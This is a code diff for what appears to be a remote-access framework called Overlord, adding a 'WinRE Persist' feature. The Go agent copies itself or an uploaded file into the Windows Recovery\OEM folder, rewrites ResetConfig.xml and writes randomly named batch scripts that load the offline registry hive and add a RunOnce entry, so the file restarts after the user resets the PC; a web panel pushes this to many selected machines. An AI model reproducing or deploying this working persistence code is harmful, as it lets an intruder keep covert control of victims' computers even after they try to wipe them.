diff --git a/Overlord-Client/cmd/agent/handlers/command.go b/Overlord-Client/cmd/agent/handlers/command.go
index b8db83b..ea7c170 100644
--- a/Overlord-Client/cmd/agent/handlers/command.go
+++ b/Overlord-Client/cmd/agent/handlers/command.go
@@ -1853,6 +1853,22 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
}
return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "winre_install":
+ payload := payloadAsMap(envelope["payload"])
+ useSelf := false
+ if v, ok := payload["useSelf"].(bool); ok {
+ useSelf = v
+ }
+ filePath, _ := payload["filePath"].(string)
+ if err := handleWinREInstall(ctx, env, cmdID, filePath, useSelf); err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
+ case "winre_uninstall":
+ if err := handleWinREUninstall(ctx, env, cmdID); err != nil {
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error()})
+ }
+ return wire.WriteMsg(ctx, env.Conn, wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true})
case "uninstall":
res := wire.CommandResult{Type: "command_result", CommandID: cmdID, OK: true}
_ = wire.WriteMsg(ctx, env.Conn, res)
diff --git a/Overlord-Client/cmd/agent/handlers/winre_stub.go b/Overlord-Client/cmd/agent/handlers/winre_stub.go
new file mode 100644
index 0000000..9bc69f2
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/winre_stub.go
@@ -0,0 +1,19 @@
+//go:build !windows
+// +build !windows
+
+package handlers
+
+import (
+ "context"
+ "fmt"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
+ return fmt.Errorf("WinRE persistence is only supported on Windows")
+}
+
+func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
+ return fmt.Errorf("WinRE persistence is only supported on Windows")
+}
diff --git a/Overlord-Client/cmd/agent/handlers/winre_windows.go b/Overlord-Client/cmd/agent/handlers/winre_windows.go
new file mode 100644
index 0000000..0b36403
--- /dev/null
+++ b/Overlord-Client/cmd/agent/handlers/winre_windows.go
@@ -0,0 +1,303 @@
+//go:build windows
+// +build windows
+
+package handlers
+
+import (
+ "context"
+ "encoding/xml"
+ "fmt"
+ "log"
+ "math/rand"
+ "os"
+ "path/filepath"
+ "strings"
+ "time"
+
+ "overlord-client/cmd/agent/runtime"
+)
+
+const (
+ winreOEMRelPath = `Recovery\OEM`
+ winreBackupDirName = "XRSBackupData"
+ winreResetConfigXML = "ResetConfig.xml"
+ winreDeleteManifest = "DELETEME"
+)
+
+func init() {
+ rand.Seed(time.Now().UnixNano())
+}
+
+func randomAlphanumeric(n int) string {
+ const charset = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789"
+ b := make([]byte, n)
+ for i := range b {
+ b[i] = charset[rand.Intn(len(charset))]
+ }
+ return string(b)
+}
+
+type resetConfig struct {
+ XMLName xml.Name `xml:"Reset"`
+ Runs []runEntry `xml:"Run"`
+}
+
+type runEntry struct {
+ XMLName xml.Name `xml:"Run"`
+ Phase string `xml:"Phase,attr"`
+ Path string `xml:"Path"`
+ Duration int `xml:"Duration"`
+ Param string `xml:"Param,omitempty"`
+}
+
+func systemDrive() string {
+ sd := os.Getenv("SystemDrive")
+ if sd == "" {
+ sd = "C:"
+ }
+ return sd
+}
+
+func oemPath() string {
+ return filepath.Join(systemDrive()+`\`, winreOEMRelPath)
+}
+
+func backupPath() string {
+ return filepath.Join(oemPath(), winreBackupDirName)
+}
+
+func resetConfigPath() string {
+ return filepath.Join(oemPath(), winreResetConfigXML)
+}
+
+func createOEMEnvironment() error {
+ oem := oemPath()
+ if err := os.MkdirAll(oem, 0o755); err != nil {
+ return fmt.Errorf("failed to create OEM directory: %w", err)
+ }
+ bk := backupPath()
+ if err := os.MkdirAll(bk, 0o755); err != nil {
+ return fmt.Errorf("failed to create backup directory: %w", err)
+ }
+ return nil
+}
+
+func createPayload(command string) string {
+ rndKey := randomAlphanumeric(20)
+ return fmt.Sprintf(`@echo off
+for /F "tokens=1,2,3 delims= " %%%%A in ('reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\RecoveryEnvironment" /v TargetOS') DO SET TARGETOS=%%%%C
+
+for /F "tokens=1 delims=\" %%%%A in ('Echo %%TARGETOS%%') DO SET TARGETOSDRIVE=%%%%A
+
+reg load HKLM\%s %%TARGETOSDRIVE%%\windows\system32\config\SOFTWARE
+
+reg add HKLM\%s\Microsoft\Windows\CurrentVersion\RunOnce /v %s /t REG_SZ /d "%s"
+
+reg unload HKLM\%s
+`, rndKey, rndKey, rndKey, command, rndKey)
+}
+
+func backupCurrentConfig(basicResetFileName, factoryResetFileName string, additionalFiles []string) error {
+ bk := backupPath()
+ lines := []string{basicResetFileName, factoryResetFileName}
+ lines = append(lines, additionalFiles...)
+ content := strings.Join(lines, "\n")
+ if err := os.WriteFile(filepath.Join(bk, winreDeleteManifest), []byte(content), 0o644); err != nil {
+ return err
+ }
+
+ rcPath := resetConfigPath()
+ if _, err := os.Stat(rcPath); err == nil {
+ data, err := os.ReadFile(rcPath)
+ if err != nil {
+ return err
+ }
+ if err := os.WriteFile(filepath.Join(bk, "configBackup"), data, 0o644); err != nil {
+ return err
+ }
+ }
+ return nil
+}
+
+func saveScriptFile(fileName, payload, additionalCommand string) error {
+ contents := payload
+ if additionalCommand != "" {
+ contents += additionalCommand
+ }
+ return os.WriteFile(filepath.Join(oemPath(), fileName), []byte(contents), 0o644)
+}
+
+func createNewResetConfig(basicFileName, factoryFileName, payload string) error {
+ cfg := resetConfig{
+ Runs: []runEntry{
+ {Phase: "BasicReset_AfterImageApply", Path: basicFileName, Duration: 1},
+ {Phase: "FactoryReset_AfterImageApply", Path: factoryFileName, Duration: 1},
+ },
+ }
+ data, err := xml.MarshalIndent(cfg, "", " ")
+ if err != nil {
+ return err
+ }
+ xmlContent := xml.Header + string(data)
+ if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
+ return err
+ }
+ if err := saveScriptFile(basicFileName, payload, ""); err != nil {
+ return err
+ }
+ return saveScriptFile(factoryFileName, payload, "")
+}
+
+func updateExistingResetConfig(basicFileName, factoryFileName, payload string) error {
+ data, err := os.ReadFile(resetConfigPath())
+ if err != nil {
+ return err
+ }
+
+ var cfg resetConfig
+ if err := xml.Unmarshal(data, &cfg); err != nil {
+ return err
+ }
+
+ maxDuration := 1
+ for _, r := range cfg.Runs {
+ if r.Duration > maxDuration {
+ maxDuration = r.Duration
+ }
+ }
+
+ additionalBasic := updatePhase(&cfg, "BasicReset_AfterImageApply", basicFileName)
+ additionalFactory := updatePhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName)
+
+ if additionalBasic == "" {
+ addNewPhase(&cfg, "BasicReset_AfterImageApply", basicFileName, maxDuration)
+ }
+ if additionalFactory == "" {
+ addNewPhase(&cfg, "FactoryReset_AfterImageApply", factoryFileName, maxDuration)
+ }
+
+ out, err := xml.MarshalIndent(cfg, "", " ")
+ if err != nil {
+ return err
+ }
+ xmlContent := xml.Header + string(out)
+ if err := os.WriteFile(resetConfigPath(), []byte(xmlContent), 0o644); err != nil {
+ return err
+ }
+
+ if err := saveScriptFile(basicFileName, payload, additionalBasic); err != nil {
+ return err
+ }
+ return saveScriptFile(factoryFileName, payload, additionalFactory)
+}
+
+func updatePhase(cfg *resetConfig, phaseName, newFileName string) string {
+ for i, r := range cfg.Runs {
+ if r.Phase == phaseName {
+ oldPath := `%TARGETOSDRIVE%\Recovery\OEM\` + r.Path
+ oldParam := r.Param
+ cfg.Runs[i].Path = newFileName
+ cfg.Runs[i].Param = ""
+ additional := `"` + oldPath + `"`
+ if oldParam != "" {
+ additional += " " + oldParam
+ }
+ return additional
+ }
+ }
+ return ""
+}
+
+func addNewPhase(cfg *resetConfig, phaseName, fileName string, duration int) {
+ cfg.Runs = append(cfg.Runs, runEntry{
+ Phase: phaseName,
+ Path: fileName,
+ Duration: duration,
+ })
+}
+
+func installWinREPersistence(fileBytes []byte, ext string) error {
+ if err := createOEMEnvironment(); err != nil {
+ return err
+ }
+
+ stubName := randomAlphanumeric(20) + ext
+ stubPath := filepath.Join(oemPath(), stubName)
+ if err := os.WriteFile(stubPath, fileBytes, 0o644); err != nil {
+ return fmt.Errorf("failed to write stub file: %w", err)
+ }
+
+ command := `cmd.exe /c start %TARGETOSDRIVE%\Recovery\OEM\` + stubName
+ payload := createPayload(command)
+
+ basicFileName := randomAlphanumeric(20) + ".bat"
+ factoryFileName := randomAlphanumeric(20) + ".bat"
+
+ if err := backupCurrentConfig(basicFileName, factoryFileName, []string{stubName}); err != nil {
+ log.Printf("winre: backup config warning: %v", err)
+ }
+
+ rcPath := resetConfigPath()
+ if _, err := os.Stat(rcPath); os.IsNotExist(err) {
+ return createNewResetConfig(basicFileName, factoryFileName, payload)
+ }
+ return updateExistingResetConfig(basicFileName, factoryFileName, payload)
+}
+
+func uninstallWinREPersistence() error {
+ bk := backupPath()
+ if _, err := os.Stat(bk); os.IsNotExist(err) {
+ return fmt.Errorf("WinRE persistence not installed")
+ }
+
+ oem := oemPath()
+ if err := os.RemoveAll(oem); err != nil {
+ return fmt.Errorf("failed to remove OEM directory: %w", err)
+ }
+ return nil
+}
+
+func handleWinREInstall(ctx context.Context, env *runtime.Env, cmdID string, filePath string, useSelf bool) error {
+ var fileBytes []byte
+ var ext string
+
+ if useSelf {
+ exePath, err := os.Executable()
+ if err != nil {
+ return fmt.Errorf("failed to get executable path: %w", err)
+ }
+ fileBytes, err = os.ReadFile(exePath)
+ if err != nil {
+ return fmt.Errorf("failed to read self executable: %w", err)
+ }
+ ext = filepath.Ext(exePath)
+ if ext == "" {
+ ext = ".exe"
+ }
+ } else {
+ if filePath == "" {
+ return fmt.Errorf("missing filePath")
+ }
+ for i := 0; i < 30; i++ {
+ if _, err := os.Stat(filePath); err == nil {
+ break
+ }
+ time.Sleep(500 * time.Millisecond)
+ }
+ var err error
+ fileBytes, err = os.ReadFile(filePath)
+ if err != nil {
+ return fmt.Errorf("failed to read file: %w", err)
+ }
+ ext = filepath.Ext(filePath)
+ if ext == "" {
+ ext = ".exe"
+ }
+ }
+
+ return installWinREPersistence(fileBytes, ext)
+}
+
+func handleWinREUninstall(ctx context.Context, env *runtime.Env, cmdID string) error {
+ return uninstallWinREPersistence()
+}
diff --git a/Overlord-Server/public/assets/main.js b/Overlord-Server/public/assets/main.js
index 647d95b..952dc42 100644
--- a/Overlord-Server/public/assets/main.js
+++ b/Overlord-Server/public/assets/main.js
@@ -810,6 +810,11 @@ menu.addEventListener("click", async (e) => {
closeMenu(clearContext);
return;
}
+ if (open === "winre") {
+ window.open(`/winre?clientId=${contextCard}`, "_blank", "noopener");
+ closeMenu(clearContext);
+ return;
+ }
const action = target.dataset.action;
if (open === "voice") {
diff --git a/Overlord-Server/public/assets/ui.js b/Overlord-Server/public/assets/ui.js
index c77d53b..99dca78 100644
--- a/Overlord-Server/public/assets/ui.js
+++ b/Overlord-Server/public/assets/ui.js
@@ -31,6 +31,7 @@ const MENU_GROUPS = [
items: [
{ label: "File Browser", icon: "fa-solid fa-folder-tree", icolor: "text-blue-400", open: "files" },
{ label: "Execution", icon: "fa-solid fa-rocket", icolor: "text-cyan-400", open: "silent-exec", id: "menu-silent-exec", hidden: true },
+ { label: "WinRE Persist", icon: "fa-solid fa-shield-halved", icolor: "text-amber-400", open: "winre" },
],
},
{
diff --git a/Overlord-Server/public/assets/winre.js b/Overlord-Server/public/assets/winre.js
new file mode 100644
index 0000000..e2d1fee
--- /dev/null
+++ b/Overlord-Server/public/assets/winre.js
@@ -0,0 +1,463 @@
+const clientList = document.getElementById("client-list");
+const clientSearch = document.getElementById("client-search");
+const selectAllBtn = document.getElementById("select-all-btn");
+const clearSelectionBtn = document.getElementById("clear-selection-btn");
+const selectedCountSpan = document.getElementById("selected-count");
+const uploadZone = document.getElementById("upload-zone");
+const uploadInput = document.getElementById("upload-input");
+const uploadStatus = document.getElementById("upload-status");
+const installSelfBtn = document.getElementById("install-self-btn");
+const installFileBtn = document.getElementById("install-file-btn");
+const uninstallBtn = document.getElementById("uninstall-btn");
+const outputContainer = document.getElementById("output-container");
+const clearOutputBtn = document.getElementById("clear-output-btn");
+
+const tabSelf = document.getElementById("tab-self");
+const tabUpload = document.getElementById("tab-upload");
+const panelSelf = document.getElementById("panel-self");
+const panelUpload = document.getElementById("panel-upload");
+
+let activeTab = "self";
+let allClients = [];
+let filteredClients = [];
+const selectedClients = new Set();
+let uploaded = null;
+
+function switchTab(tab) {
+ activeTab = tab;
+ if (tab === "self") {
+ tabSelf.classList.add("bg-slate-700", "text-slate-100");
+ tabSelf.classList.remove("text-slate-400");
+ tabUpload.classList.remove("bg-slate-700", "text-slate-100");
+ tabUpload.classList.add("text-slate-400");
+ panelSelf.classList.remove("hidden");
+ panelUpload.classList.add("hidden");
+ } else {
+ tabUpload.classList.add("bg-slate-700", "text-slate-100");
+ tabUpload.classList.remove("text-slate-400");
+ tabSelf.classList.remove("bg-slate-700", "text-slate-100");
+ tabSelf.classList.add("text-slate-400");
+ panelUpload.classList.remove("hidden");
+ panelSelf.classList.add("hidden");
+ }
+ updateButtonStates();
+}
+
+tabSelf.addEventListener("click", () => switchTab("self"));
+tabUpload.addEventListener("click", () => switchTab("upload"));
+
+async function checkAuth() {
+ try {
+ const res = await fetch("/api/auth/me");
+ if (!res.ok) {
+ window.location.href = "/login.html";
+ return;
+ }
+
+ const data = await res.json();
+ document.getElementById("username-display").textContent = data.username;
+
+ const roleBadge = document.getElementById("role-badge");
+ const roleBadges = {
+ admin: 'Admin',
+ operator: 'Operator',
+ viewer: 'Viewer',
+ };
+ if (roleBadges[data.role]) {
+ roleBadge.innerHTML = roleBadges[data.role];
+ } else {
+ roleBadge.textContent = data.role || "";
+ }
+
+ if (data.role === "admin") {
+ roleBadge.classList.add("bg-purple-900/50", "text-purple-300", "border", "border-purple-800");
+ } else if (data.role === "operator") {
+ roleBadge.classList.add("bg-blue-900/50", "text-blue-300", "border", "border-blue-800");
+ } else {
+ roleBadge.classList.add("bg-slate-700", "text-slate-300", "border", "border-slate-600");
+ }
+
+ if (data.role !== "admin") {
+ alert("Access denied. Admin role required.");
+ window.location.href = "/";
+ }
+ } catch (err) {
+ console.error("Auth check failed:", err);
+ window.location.href = "/login.html";
+ }
+}
+
+async function loadClients() {
+ try {
+ const res = await fetch("/api/clients?pageSize=10000");
+ if (!res.ok) throw new Error("Failed to load clients");
+
+ const data = await res.json();
+ allClients = data.items.filter(
+ (c) => c.online && (c.os || "").toLowerCase().includes("windows"),
+ );
+
+ if (allClients.length === 0) {
+ clientList.innerHTML =
+ '
No online Windows clients available
';
+ return;
+ }
+
+ filterAndRenderClients();
+ preselectClientFromQuery();
+ } catch (error) {
+ console.error("Failed to load clients:", error);
+ clientList.innerHTML =
+ 'Error loading clients
';
+ }
+}
+
+function preselectClientFromQuery() {
+ const params = new URLSearchParams(window.location.search);
+ const targetId = params.get("clientId");
+ if (!targetId) return;
+ if (allClients.some((c) => c.id === targetId)) {
+ selectedClients.add(targetId);
+ renderClients();
+ }
+}
+
+function filterAndRenderClients() {
+ const searchTerm = clientSearch.value.toLowerCase();
+ filteredClients = allClients.filter((c) => {
+ return (
+ !searchTerm ||
+ (c.host && c.host.toLowerCase().includes(searchTerm)) ||
+ c.id.toLowerCase().includes(searchTerm) ||
+ (c.user && c.user.toLowerCase().includes(searchTerm))
+ );
+ });
+ renderClients();
+}
+
+function renderClients() {
+ if (filteredClients.length === 0) {
+ clientList.innerHTML =
+ 'No clients match your filters
';
+ return;
+ }
+
+ clientList.innerHTML = filteredClients
+ .map((c) => {
+ const name = c.host || c.id.substring(0, 8);
+ const os = c.os || "unknown";
+ const isSelected = selectedClients.has(c.id);
+
+ return `
+
+ `;
+ })
+ .join("");
+
+ clientList.querySelectorAll(".client-checkbox").forEach((cb) => {
+ cb.addEventListener("change", handleClientToggle);
+ });
+
+ updateButtonStates();
+}
+
+function handleClientToggle(e) {
+ const clientId = e.target.dataset.id;
+ if (e.target.checked) {
+ selectedClients.add(clientId);
+ } else {
+ selectedClients.delete(clientId);
+ }
+ updateButtonStates();
+}
+
+function updateButtonStates() {
+ selectedCountSpan.textContent = `${selectedClients.size} selected`;
+ const hasSelection = selectedClients.size > 0;
+
+ installSelfBtn.disabled = !hasSelection || activeTab !== "self";
+ installFileBtn.disabled = !hasSelection || activeTab !== "upload" || !uploaded;
+ uninstallBtn.disabled = !hasSelection;
+}
+
+function setUploadStatus(text, tone = "text-slate-400") {
+ uploadStatus.className = `mt-3 text-sm ${tone}`;
+ uploadStatus.textContent = text;
+}
+
+function formatBytes(bytes) {
+ const value = Number(bytes) || 0;
+ if (value < 1024) return `${value} B`;
+ if (value < 1024 * 1024) return `${(value / 1024).toFixed(1)} KB`;
+ if (value < 1024 * 1024 * 1024) return `${(value / 1024 / 1024).toFixed(2)} MB`;
+ return `${(value / 1024 / 1024 / 1024).toFixed(2)} GB`;
+}
+
+function escapeHtml(text) {
+ const div = document.createElement("div");
+ div.textContent = text;
+ return div.innerHTML;
+}
+
+clientSearch.addEventListener("input", filterAndRenderClients);
+
+selectAllBtn.addEventListener("click", () => {
+ filteredClients.forEach((c) => selectedClients.add(c.id));
+ renderClients();
+});
+
+clearSelectionBtn.addEventListener("click", () => {
+ selectedClients.clear();
+ renderClients();
+});
+
+uploadZone.addEventListener("click", () => uploadInput.click());
+uploadZone.addEventListener("dragover", (event) => {
+ event.preventDefault();
+ uploadZone.classList.add("border-cyan-500");
+});
+uploadZone.addEventListener("dragleave", () => {
+ uploadZone.classList.remove("border-cyan-500");
+});
+uploadZone.addEventListener("drop", async (event) => {
+ event.preventDefault();
+ uploadZone.classList.remove("border-cyan-500");
+ const file = event.dataTransfer?.files?.[0];
+ if (file) await uploadFile(file);
+});
+uploadInput.addEventListener("change", async (event) => {
+ const file = event.target.files?.[0];
+ if (file) await uploadFile(file);
+});
+
+async function uploadFile(file) {
+ setUploadStatus(`Uploading ${file.name}...`, "text-blue-400");
+ installFileBtn.disabled = true;
+
+ try {
+ const form = new FormData();
+ form.append("file", file, file.name);
+ const res = await fetch("/api/winre/upload", {
+ method: "POST",
+ body: form,
+ });
+
+ if (!res.ok) {
+ const text = await res.text();
+ setUploadStatus(text || "Upload failed", "text-red-400");
+ return;
+ }
+
+ const data = await res.json();
+ if (!data.ok) {
+ setUploadStatus(data.error || "Upload failed", "text-red-400");
+ return;
+ }
+
+ uploaded = data;
+ const sizeBytes = Number(data.size ?? file.size ?? 0);
+ setUploadStatus(`Uploaded ${data.name} (${formatBytes(sizeBytes)})`, "text-emerald-400");
+ updateButtonStates();
+ } catch (error) {
+ console.error("Upload failed:", error);
+ setUploadStatus("Upload failed", "text-red-400");
+ }
+}
+
+function renderResults(results, actionLabel) {
+ const namedResults = results.map((r) => {
+ const client = allClients.find((c) => c.id === r.clientId);
+ const clientName = client ? client.host || r.clientId.substring(0, 8) : r.clientId.substring(0, 8);
+ if (r.error) {
+ return { clientName, clientId: r.clientId, error: r.error };
+ }
+ if (r.ok === false) {
+ return { clientName, clientId: r.clientId, error: r.reason || `${actionLabel} failed` };
+ }
+ return { clientName, clientId: r.clientId, output: `${actionLabel} dispatched` };
+ });
+
+ outputContainer.innerHTML = namedResults
+ .map((r) => {
+ if (r.error) {
+ return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
Error: ${escapeHtml(r.error)}
+
`;
+ }
+ return `
+
━━━ ${escapeHtml(r.clientName)} (${escapeHtml(r.clientId.substring(0, 8))}) ━━━
+
${escapeHtml(r.output)}
+
`;
+ })
+ .join("");
+}
+
+installSelfBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ installSelfBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Installing WinRE persistence (self) on ${clientIds.length} client(s)...
`;
+
+ let results = [];
+ try {
+ const res = await fetch("/api/winre/install-self", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ clientIds }),
+ });
+
+ if (!res.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: `HTTP error! status: ${res.status}`,
+ }));
+ } else {
+ const data = await res.json();
+ if (!data.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: data.error || "Unknown error",
+ }));
+ } else {
+ results = data.results || [];
+ }
+ }
+ } catch (error) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: error.message,
+ }));
+ }
+
+ renderResults(results, "WinRE Install (self)");
+ installSelfBtn.disabled = false;
+});
+
+installFileBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ if (!uploaded?.uploadId) {
+ alert("Please upload a file first");
+ return;
+ }
+
+ installFileBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Installing WinRE persistence (file) on ${clientIds.length} client(s)...
`;
+
+ let results = [];
+ try {
+ const res = await fetch("/api/winre/install", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({
+ uploadId: uploaded.uploadId,
+ clientIds,
+ }),
+ });
+
+ if (!res.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: `HTTP error! status: ${res.status}`,
+ }));
+ } else {
+ const data = await res.json();
+ if (!data.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: data.error || "Unknown error",
+ }));
+ } else {
+ results = data.results || [];
+ }
+ }
+ } catch (error) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: error.message,
+ }));
+ }
+
+ renderResults(results, "WinRE Install (file)");
+ installFileBtn.disabled = false;
+});
+
+// Uninstall WinRE persistence
+uninstallBtn.addEventListener("click", async () => {
+ if (selectedClients.size === 0) {
+ alert("Please select at least one client");
+ return;
+ }
+
+ if (!confirm("Uninstall WinRE persistence from selected clients?\n\nThis removes the entire Recovery\\OEM directory.")) {
+ return;
+ }
+
+ uninstallBtn.disabled = true;
+ const clientIds = Array.from(selectedClients);
+ outputContainer.innerHTML = `Uninstalling WinRE persistence from ${clientIds.length} client(s)...
`;
+
+ let results = [];
+ try {
+ const res = await fetch("/api/winre/uninstall", {
+ method: "POST",
+ headers: { "Content-Type": "application/json" },
+ body: JSON.stringify({ clientIds }),
+ });
+
+ if (!res.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: `HTTP error! status: ${res.status}`,
+ }));
+ } else {
+ const data = await res.json();
+ if (!data.ok) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: data.error || "Unknown error",
+ }));
+ } else {
+ results = data.results || [];
+ }
+ }
+ } catch (error) {
+ results = clientIds.map((clientId) => ({
+ clientId,
+ error: error.message,
+ }));
+ }
+
+ renderResults(results, "WinRE Uninstall");
+ uninstallBtn.disabled = false;
+});
+
+clearOutputBtn.addEventListener("click", () => {
+ outputContainer.innerHTML =
+ 'No commands dispatched yet.
';
+});
+
+checkAuth();
+loadClients();
diff --git a/Overlord-Server/public/winre.html b/Overlord-Server/public/winre.html
new file mode 100644
index 0000000..4e6bb76
--- /dev/null
+++ b/Overlord-Server/public/winre.html
@@ -0,0 +1,207 @@
+
+
+
+
+
+ WinRE Persistence - Overlord
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Select Target Clients
+
+ Windows clients only — requires admin privileges on the target
+
+
+
+ 0 selected
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+ WinRE Persistence
+
+
+ Survive Windows push resets — the file will start after the user signs in post-reset
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Use the currently running agent
+
+ The agent will copy its own executable into the WinRE recovery partition.
+ After a push reset, it will auto-start when the user signs in.
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
Drag & drop a file
+
or click to select a file to persist through reset
+
+
+
+
+
+ No file uploaded yet.
+
+
+
+
+
+
+
+
+
Requirements & Notes
+
+ - Requires Administrator privileges on the target machine
+ - Windows only — uses the Recovery\OEM ResetConfig mechanism
+ - The file is placed in
C:\Recovery\OEM\ and a RunOnce registry entry is created during reset
+ - After a push reset (Settings → Recovery → Reset this PC), the file will auto-run on first sign-in
+ - Uninstall removes the entire OEM recovery directory
+
+
+
+
+
+
+
+
+
+
+
+
+
Results
+
+
+
+
+ No commands dispatched yet.
+
+
+
+
+
+
+
+
+
+
+
diff --git a/Overlord-Server/src/auditLog.ts b/Overlord-Server/src/auditLog.ts
index d7c5dec..0e45cd2 100644
--- a/Overlord-Server/src/auditLog.ts
+++ b/Overlord-Server/src/auditLog.ts
@@ -76,6 +76,8 @@ export enum AuditAction {
ENROLLMENT_DENY = "enrollment_deny",
ENROLLMENT_SETTINGS = "enrollment_settings",
ENROLLMENT_BULK = "enrollment_bulk",
+ WINRE_INSTALL = "winre_install",
+ WINRE_UNINSTALL = "winre_uninstall",
}
export interface AuditLogEntry {
diff --git a/Overlord-Server/src/main-server.ts b/Overlord-Server/src/main-server.ts
index ca452e9..5ca114e 100644
--- a/Overlord-Server/src/main-server.ts
+++ b/Overlord-Server/src/main-server.ts
@@ -21,6 +21,7 @@ import { handleEnrollmentRoutes } from "./server/routes/enrollment-routes";
import { handleBuildRoutes } from "./server/routes/build-routes";
import { handleAssetsRoutes } from "./server/routes/assets-routes";
import { handleDeployRoutes } from "./server/routes/deploy-routes";
+import { handleWinRERoutes } from "./server/routes/winre-routes";
import { cleanupFileTransferTempFiles, handleFileDownloadRoutes } from "./server/routes/file-download-routes";
import { handleClientRoutes } from "./server/routes/client-routes";
import { handleMiscRoutes } from "./server/routes/misc-routes";
@@ -141,6 +142,7 @@ const PLUGIN_ROOT = process.env.OVERLORD_PLUGIN_ROOT?.trim()
const PLUGIN_STATE_PATH = path.join(PLUGIN_ROOT, ".plugin-state.json");
const DATA_DIR = ensureDataDir();
const DEPLOY_ROOT = path.join(DATA_DIR, "deploy");
+const WINRE_ROOT = path.join(DATA_DIR, "winre");
const TLS_CERT_PATH = config.tls.certPath;
const TLS_KEY_PATH = config.tls.keyPath;
@@ -213,6 +215,15 @@ type DeployUpload = {
const deployUploads = new Map();
+type WinREUpload = {
+ id: string;
+ path: string;
+ name: string;
+ size: number;
+};
+
+const winreUploads = new Map();
+
type NotificationRateState = {
lastSent: number;
windowStart: number;
@@ -326,6 +337,10 @@ async function startServer() {
detectUploadOs,
normalizeClientOs,
},
+ winre: {
+ WINRE_ROOT,
+ winreUploads,
+ },
fileDownload: {
DATA_DIR,
secureHeaders,
@@ -508,6 +523,7 @@ async function startServer() {
handleUsersRoutes,
handleBuildRoutes,
handleDeployRoutes,
+ handleWinRERoutes,
handleFileDownloadRoutes,
handlePluginRoutes,
handleMiscRoutes,
diff --git a/Overlord-Server/src/protocol.ts b/Overlord-Server/src/protocol.ts
index 58935b1..af43e03 100644
--- a/Overlord-Server/src/protocol.ts
+++ b/Overlord-Server/src/protocol.ts
@@ -100,7 +100,9 @@ export type CommandType =
| "agent_update"
| "clipboard_set"
| "clipboard_sync_start"
- | "clipboard_sync_stop";
+ | "clipboard_sync_stop"
+ | "winre_install"
+ | "winre_uninstall";
export type Command = {
type: "command";
diff --git a/Overlord-Server/src/server/http-dispatch.ts b/Overlord-Server/src/server/http-dispatch.ts
index 03571a7..2b526bf 100644
--- a/Overlord-Server/src/server/http-dispatch.ts
+++ b/Overlord-Server/src/server/http-dispatch.ts
@@ -23,6 +23,7 @@ type HttpDispatchDeps<
TNotificationsConfig,
TBuild,
TDeploy,
+ TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -40,6 +41,7 @@ type HttpDispatchDeps<
handleUsersRoutes: RouteHandlerWithServer;
handleBuildRoutes: RouteHandlerWithServerDeps;
handleDeployRoutes: RouteHandlerWithServerDeps;
+ handleWinRERoutes: RouteHandlerWithServerDeps;
handleFileDownloadRoutes: RouteHandlerWithServerDeps;
handlePluginRoutes: RouteHandlerWithDeps;
handleMiscRoutes: RouteHandlerWithDeps;
@@ -51,6 +53,7 @@ type HttpDispatchDeps<
notificationsConfig: TNotificationsConfig;
build: TBuild;
deploy: TDeploy;
+ winre: TWinRE;
fileDownload: TFileDownload;
plugin: TPlugin;
misc: TMisc;
@@ -66,6 +69,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
+ TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -79,6 +83,7 @@ export function createHttpFetchHandler<
TNotificationsConfig,
TBuild,
TDeploy,
+ TWinRE,
TFileDownload,
TPlugin,
TMisc,
@@ -118,6 +123,9 @@ export function createHttpFetchHandler<
const deployResponse = await deps.handleDeployRoutes(req, url, routeServer, deps.routeDeps.deploy);
if (deployResponse) return deployResponse;
+ const winreResponse = await deps.handleWinRERoutes(req, url, routeServer, deps.routeDeps.winre);
+ if (winreResponse) return winreResponse;
+
const fileDownloadResponse = await deps.handleFileDownloadRoutes(req, url, routeServer, deps.routeDeps.fileDownload);
if (fileDownloadResponse) return fileDownloadResponse;
